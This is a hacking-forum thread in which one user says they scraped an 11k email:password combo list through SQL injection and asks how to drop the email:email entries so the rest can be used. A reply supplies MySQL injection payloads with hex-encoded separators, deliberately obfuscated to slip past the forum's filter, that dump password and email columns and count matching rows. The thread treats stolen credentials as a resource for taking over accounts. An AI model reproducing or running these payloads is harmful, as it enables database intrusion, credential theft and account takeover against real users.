[Ryebread830]

I have a 11k combo list I just scraped from an SQLI injection however some of the accounts in the list are just emails in both the email and password sections. Can I filter out these to use the rest of the accounts? There's a solid 8k with 3k email:email (instead of email:password)combos littered throughout so it'd be really nice if you guys had any idea of what to do.

[JaNuS18]

If you want to filter out rows with empty emails use

PHP Code


<?php 
con**cat(@c:=0x00,if((select count(*) from your_table where email is not null and @c:=con**cat(@c,0x3c6c693e,paasword,0x203a3a20,email)),0x00,0x00),@c) 


If you want to filter out rows where emails and passwords are the same use:

PHP Code


<?php 
con**cat(@c:=0x00,if((select count(*) from your_table where not (email = password) and @c:=con**cat(@c,0x3c6c693e,password,0x203a3a20,email)),0x00,0x00),@c) 


If you want just quick feed back (number) of possible rows you get back using your condition (without showing data for passwords and emails) use:

PHP Code


<?php 
con**cat(0x636f756e743a20,(select count(*) from your_table where email is not null)) 


or

PHP Code


<?php 
con**cat(0x636f756e743a20,(select count(*) from your_table where not(email=password))) 


P.S:
Remove from syntax. I added it to avoid HF block on some SQL commands...